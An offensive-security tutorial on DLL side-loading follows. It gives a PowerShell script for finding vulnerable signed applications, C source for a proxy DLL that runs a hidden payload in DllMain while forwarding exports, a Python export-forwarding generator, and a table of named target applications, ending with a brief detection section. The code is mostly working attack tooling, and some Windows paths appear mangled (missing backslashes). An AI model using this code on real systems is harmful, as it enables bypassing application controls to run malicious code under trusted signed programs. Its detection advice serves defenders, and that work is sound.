DLL Side-Loading
Overview
DLL side-loading is a refined form of DLL hijacking that specifically targets the pattern where a signed, trusted application loads a DLL from its own installation directory by unqualified name. Because the application is signed and trusted, many application-control products (AppLocker, WDAC) allow it to execute — and any DLL it loads inherits that execution context without requiring an independent signature.
The attack model is: find a legitimate application that loads example.dll from its own folder; the real example.dll is in System32 or does not exist at all. Drop a malicious example.dll in the application’s folder. Run the application. The malicious DLL executes under the cover of the trusted application.
Well-known historical examples include OneDriveSetup.exe loading vcruntime140.dll, various Adobe products loading unsigned DLLs, and numerous EDR vendor processes loading helper DLLs from their installation directory.
Side-loading differs from classic DLL hijacking in that the targeted DLL is expected to be in the application’s own directory — the attacker is not racing the search order across multiple paths. This makes it more reliable (the DLL is always found first) and more portable (works regardless of whether the real DLL exists elsewhere on the system).
The call chain
- 1identify a vulnerable signed applicationFind a signed EXE that loads a DLL by unqualified name — the DLL does not exist in System32, only in the application's own directory.
- 2craft a malicious proxy DLLBuild a DLL that exports all symbols the host application expects (forwarded to the real DLL) and runs the payload in DllMain.
- 3place the malicious DLL in the application directoryDrop the DLL in the same directory as the legitimate EXE so the DLL search order finds it first.
- 4execute the legitimate applicationThe signed EXE loads the malicious DLL, bypassing application whitelisting that only checks the EXE's signature.
Reference implementation
Discover side-loadable candidates
# Monitor DLL load failures with Procmon or use this offline approach:
# Find signed EXEs in Program Files that load DLLs not in System32
$system32 = Get-ChildItem "$env:SystemRootSystem32*.dll" |
Select-Object -ExpandProperty Name
Get-ChildItem "C:Program Files**.exe" -Recurse |
Where-Object { (Get-AuthenticodeSignature $_).Status -eq "Valid" } |
ForEach-Object {
$exe = $_
try {
$imports = [System.Reflection.Assembly]::LoadFile($exe.FullName)
} catch {}
# Use Dependency Walker output or PE header parsing
# For demo: list DLLs in same dir as the EXE
$same_dir = Get-ChildItem $exe.DirectoryName -Filter "*.dll" |
Where-Object { $system32 -notcontains $_.Name }
foreach ($dll in $same_dir) {
[PSCustomObject]@{
Exe = $exe.Name
Dll = $dll.Name
Signed = (Get-AuthenticodeSignature $dll.FullName).Status
}
}
} | Where-Object { $_.Signed -ne "Valid" }# Monitor DLL load failures with Procmon or use this offline approach:
# Find signed EXEs in Program Files that load DLLs not in System32
$system32 = Get-ChildItem "$env:SystemRootSystem32*.dll" |
Select-Object -ExpandProperty Name
Get-ChildItem "C:Program Files**.exe" -Recurse |
Where-Object { (Get-AuthenticodeSignature $_).Status -eq "Valid" } |
ForEach-Object {
$exe = $_
try {
$imports = [System.Reflection.Assembly]::LoadFile($exe.FullName)
} catch {}
# Use Dependency Walker output or PE header parsing
# For demo: list DLLs in same dir as the EXE
$same_dir = Get-ChildItem $exe.DirectoryName -Filter "*.dll" |
Where-Object { $system32 -notcontains $_.Name }
foreach ($dll in $same_dir) {
[PSCustomObject]@{
Exe = $exe.Name
Dll = $dll.Name
Signed = (Get-AuthenticodeSignature $dll.FullName).Status
}
}
} | Where-Object { $_.Signed -ne "Valid" }Proxy DLL — forwards all exports to the real DLL
// proxy_version.dll — forwards exports to the real version.dll in System32
// while running a payload in DllMain
//
// Compile: cl /LD proxy_version.dll.c /link /DEF:version.def
// version.def lists all exports with NONAME forwarding to version_real.dll
#include <windows.h>
// Payload: run in a new thread to avoid blocking DllMain
static DWORD WINAPI payload_thread(LPVOID) {
// Shellcode execution, beacon start, etc.
// Example: spawn a hidden calc as a visible indicator
STARTUPINFOA si = { .cb = sizeof si, .dwFlags = STARTF_USESHOWWINDOW,
.wShowWindow = SW_HIDE };
PROCESS_INFORMATION pi = {0};
CreateProcessA(NULL, "cmd.exe /c calc.exe", NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hDll, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hDll);
// Forward all version.dll exports to the real DLL in System32
// (handled by the .def file linker directives below)
// Run payload asynchronously
HANDLE t = CreateThread(NULL, 0, payload_thread, NULL, 0, NULL);
if (t) CloseHandle(t);
}
return TRUE;
}
// version.def content (embedded as comment for reference):
// EXPORTS
// GetFileVersionInfoA = version_real.GetFileVersionInfoA
// GetFileVersionInfoW = version_real.GetFileVersionInfoW
// VerQueryValueA = version_real.VerQueryValueA
// VerQueryValueW = version_real.VerQueryValueW
// ... (all exports forwarded)// proxy_version.dll — forwards exports to the real version.dll in System32
// while running a payload in DllMain
//
// Compile: cl /LD proxy_version.dll.c /link /DEF:version.def
// version.def lists all exports with NONAME forwarding to version_real.dll
#include <windows.h>
// Payload: run in a new thread to avoid blocking DllMain
static DWORD WINAPI payload_thread(LPVOID) {
// Shellcode execution, beacon start, etc.
// Example: spawn a hidden calc as a visible indicator
STARTUPINFOA si = { .cb = sizeof si, .dwFlags = STARTF_USESHOWWINDOW,
.wShowWindow = SW_HIDE };
PROCESS_INFORMATION pi = {0};
CreateProcessA(NULL, "cmd.exe /c calc.exe", NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hDll, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hDll);
// Forward all version.dll exports to the real DLL in System32
// (handled by the .def file linker directives below)
// Run payload asynchronously
HANDLE t = CreateThread(NULL, 0, payload_thread, NULL, 0, NULL);
if (t) CloseHandle(t);
}
return TRUE;
}
// version.def content (embedded as comment for reference):
// EXPORTS
// GetFileVersionInfoA = version_real.GetFileVersionInfoA
// GetFileVersionInfoW = version_real.GetFileVersionInfoW
// VerQueryValueA = version_real.VerQueryValueA
// VerQueryValueW = version_real.VerQueryValueW
// ... (all exports forwarded)Automated export forwarding with a .def file generator
#!/usr/bin/env python3
"""
Generate a .def file that forwards all exports from a target DLL
to a renamed copy (target_real.dll), enabling transparent proxy DLL.
"""
import pefile, sys
def gen_def(dll_path, real_dll_name, out_def):
pe = pefile.PE(dll_path)
exports = []
if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if exp.name:
name = exp.name.decode()
exports.append(f" {name}={real_dll_name}.{name}")
with open(out_def, 'w') as f:
f.write("EXPORTS
")
f.write("
".join(exports))
f.write("
")
print(f"[+] Generated {len(exports)} forwarded exports in {out_def}")
if __name__ == '__main__':
gen_def(sys.argv[1], sys.argv[2], sys.argv[3])
# Usage: python3 gen_def.py C:WindowsSystem32ersion.dll version_real version.def#!/usr/bin/env python3
"""
Generate a .def file that forwards all exports from a target DLL
to a renamed copy (target_real.dll), enabling transparent proxy DLL.
"""
import pefile, sys
def gen_def(dll_path, real_dll_name, out_def):
pe = pefile.PE(dll_path)
exports = []
if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if exp.name:
name = exp.name.decode()
exports.append(f" {name}={real_dll_name}.{name}")
with open(out_def, 'w') as f:
f.write("EXPORTS
")
f.write("
".join(exports))
f.write("
")
print(f"[+] Generated {len(exports)} forwarded exports in {out_def}")
if __name__ == '__main__':
gen_def(sys.argv[1], sys.argv[2], sys.argv[3])
# Usage: python3 gen_def.py C:WindowsSystem32ersion.dll version_real version.defHigh-value side-load targets (examples)
| Application | Vulnerable DLL | Notes |
|---|---|---|
| Various Adobe products | dwmapi.dll |
Loads from app dir, not System32 |
| Windows Update client | wuapi.dll variant |
Version-specific behaviour |
| OneDrive setup | vcruntime140.dll variant |
Depends on VS runtime deployment |
| Zoom | msvcp140.dll variant |
Shipping older runtimes |
| Teams | dbghelp.dll |
Loads from install dir |
| Process Monitor (ironic) | pla.dll |
Sysinternals tools |
The specific vulnerable configurations change with application versions. Always verify against the target version using Procmon’s DLL load failure events.
Detection
The key signal is a signed process loading an unsigned or unexpected DLL from its own directory. File integrity monitoring on application directories (Tripwire, Wazuh FIM, Sysmon EID 11 + 7 correlation) will catch DLL drops before execution. After execution, Sysmon EID 7 with Signed: false from a process whose EXE is signed is a high-confidence indicator.